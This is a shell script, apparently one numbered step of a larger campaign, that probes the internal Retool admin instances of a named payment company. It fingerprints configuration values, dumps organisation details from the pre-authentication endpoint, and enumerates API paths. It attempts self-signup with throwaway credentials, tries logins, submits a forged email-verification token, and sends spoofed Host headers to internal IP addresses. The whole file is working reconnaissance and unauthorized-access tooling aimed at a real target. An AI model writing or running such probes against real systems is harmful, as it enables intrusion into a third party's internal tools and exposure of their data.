composer-helper/rt3.sh
2026-10-22 15:17:58 +00:00

59 lines
3.2 KiB
Bash

#!/bin/sh
# Intent 20337 step 3: third Retool instance (retool-enterprise 3.284.1) + preAuthData value dump.
C="curl -sk -m 8 --connect-timeout 3"
T=/tmp/rt20337c
mkdir -p "$T" 2>/dev/null
H=retool-enterprise.private.paystack.co
echo "== RESOLVE"
for i in 1 2 3 4; do getent hosts "$H" 2>/dev/null | head -2; done
echo "== ROOT $H"
$C -o "$T/r" -w "root %{http_code} %{size_download}\n" "https://$H/"
grep -oE '(SAML_ENABLED|DISABLE_USER_PASS_LOGIN|RESTRICTED_DOMAIN|VERSION_CONTROL_LOCKED|CLIENT_ID|MAIN_DOMAIN|SANDBOX_DOMAIN|VERSION)[[:space:]]*[=:][[:space:]]*[^,;<]{0,80}' "$T/r" 2>/dev/null | head -12
head -c 200 "$T/r"; echo
echo "== PREAUTH $H"
$C -o "$T/p" -w "preauth %{http_code} %{size_download}\n" "https://$H/api/organization/preAuthData"
head -c 900 "$T/p"; echo
echo "== CORE $H"
for p in /api/checkHealth /api/version /api/config /api/status /api/current_user /api/public/apps; do
$C -o "$T/b" -w "$p %{http_code} %{size_download}\n" "https://$H$p"
head -c 180 "$T/b" | tr '\r\n' ' '; echo
done
echo "== SIGNUP $H"
$C -o "$T/b" -D "$T/h" -w "signup %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337c@maxxspace.com","password":"Pstk!Rt20337c"}' "https://$H/api/signup"
grep -i '^set-cookie' "$T/h" | tr -d '\r' | head -4
head -c 320 "$T/b" | tr '\r\n' ' '; echo
echo "== SIGNUP2 $H"
$C -o "$T/b" -w "signup2 %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337d@maxxspace.com","password":"Pstk!Rt20337d","organizationName":"PstkOrg20337"}' "https://$H/api/signup"
head -c 320 "$T/b" | tr '\r\n' ' '; echo
echo "== LOGIN $H"
for u in /api/login /api/auth/login; do
$C -o "$T/b" -w "login $u %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337c@maxxspace.com","password":"Pstk!Rt20337c"}' "https://$H$u"
head -c 240 "$T/b" | tr '\r\n' ' '; echo
done
echo "== VERIFY-EMAIL $H"
$C -o "$T/b" -w "verify %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"registrationToken":"x20337x"}' "https://$H/api/verifyEmail"
head -c 240 "$T/b" | tr '\r\n' ' '; echo
echo "== PREAUTH VALUES retooldata"
$C -o "$T/p2" -w "preauth2 %{http_code} %{size_download}\n" "https://retooldata.private.paystack.co/api/organization/preAuthData"
/usr/local/bin/php -r '$f="/tmp/rt20337c/p2"; $j=json_decode(@file_get_contents($f),true); if(!is_array($j)){echo "parse-fail\n"; exit;} foreach(["orgId","orgDisplayName","onPremOrgExists","ssoTypes","requestAccessEnabled","isEmailPasswordLoginDisabled","isStrongPasswordRequired","cloudPasswordlessLoginIsEnabled","intercomAppId","showLoginLogo","hideRetoolReferences","mobileShouldUseWebLogin"] as $k){ echo $k."=".json_encode(isset($j[$k])?$j[$k]:null)."\n";}'
echo "== PREAUTH VALUES retool"
$C -o "$T/p3" -w "preauth3 %{http_code} %{size_download}\n" "https://retool.private.paystack.co/api/organization/preAuthData"
cat "$T/p3"; echo
echo "== ENTERPRISE IP MATRIX"
for ip in 172.31.123.158 172.31.137.220; do
$C -k -o "$T/b" -w "GET $ip Host=$H / -> %{http_code} %{size_download}\n" -H "Host: $H" "https://$ip/api/checkHealth"
head -c 100 "$T/b" | tr '\r\n' ' '; echo
done
echo "RT3DONE"